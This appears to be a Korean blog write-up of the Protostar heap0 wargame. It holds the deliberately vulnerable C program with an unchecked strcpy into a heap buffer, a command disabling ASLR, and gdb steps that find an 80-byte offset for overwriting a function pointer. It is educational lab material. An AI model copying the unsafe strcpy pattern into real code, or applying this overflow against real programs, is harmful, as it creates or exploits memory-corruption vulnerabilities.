struct data { char name[64]; }; struct fp { int (*fp)(); }; void winner() { printf("level passed\n"); } void nowinner() { printf("level has not been passed\n"); } int main(int argc, char **argv) { struct data *d; struct fp *f; d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner; printf("data is at %p, fp is at %p\n", d, f); strcpy(d->name, argv[1]); f->fp(); }
출처: http://liveoverflow.com/binary_hacking/protostar/heap0.html
1. 문제 해결
1-1. heap0.c 저장 및 컴파일
ASLR 끄기
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gedit heap0.c
Ctrl+Z 후 bg
gcc -z execstack -w -no-pie -o heap0 heap0.c
1-2. heap 구조
heap 구조
header 영역 (type + size) |
data 영역(data) |
header 영역 (type + size) |
data 영역(fp) |
(header, data) 한 세트
포인터 d는 header 영역을 가르키는게 아니고 data 영역(data)을 가르키고 있다.
포인터 f는 역시 header 영역을 가르키는게 아니고 data 영역(fp)을 가르키고 있다.
strcpy에서 heap overflow 취약점이 발생한다.
1-3. gdb 실행 b *main+25
gdb ./heap0
disas main
malloc 이후에 eax가 현재 아래 heap 구조에서 header 영역을 제외한 data 영역(data)을 갖고 있다.
b *main+25 (첫 번째 malloc)
r AAAA
eax 주소값 복사
1-4. gdb 실행 b *main+39
1-5. gdb 실행 b *main+111
hearder 위치를 제외하고 data의 위치만 확인 했다.
x/100wx 0x405260 (위에서 복사한 eax 혹은 rax의 값)
0x41414141 위치는 AAAA가 들어간 위치이다.
nowinner 위치는 0x401165이므로 그 앞을 전부 의미없는 데이터로 채운 후 nowinner -> winner 주소값으로 변경하면 된다.
header을 포함하려면 x/100wx 0x405260-0x8
처음 4바이트는 type, 두번 째 4바이트는 size (type + size = header)
이후부턴 data
1. type 위치 - type 위치
2. size 위치 - size 위치
3. data 위치 - data 위치
셋 중 아무거나 해도 된다.
0x4052a8 - 0x405258 = 0x50 (1번)
10진수로 80이다.
즉 의미없는 데이터 80개를 채운 후 winner 주소값으로 변경하면 해결 완료
1-5. print winner
winner_addr = 0x0000000000401152
1-6. 결론
성공!
참고 자료: https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/
피드백 환영입니다!
'프로토스타' 카테고리의 다른 글
[프로토스타] heap2 (0) | 2019.01.28 |
---|---|
[프로토스타] heap1 (0) | 2019.01.24 |
[프로토스타] format4 (0) | 2019.01.23 |
[프로토스타] format3 (0) | 2019.01.23 |
[프로토스타] format2 (0) | 2019.01.22 |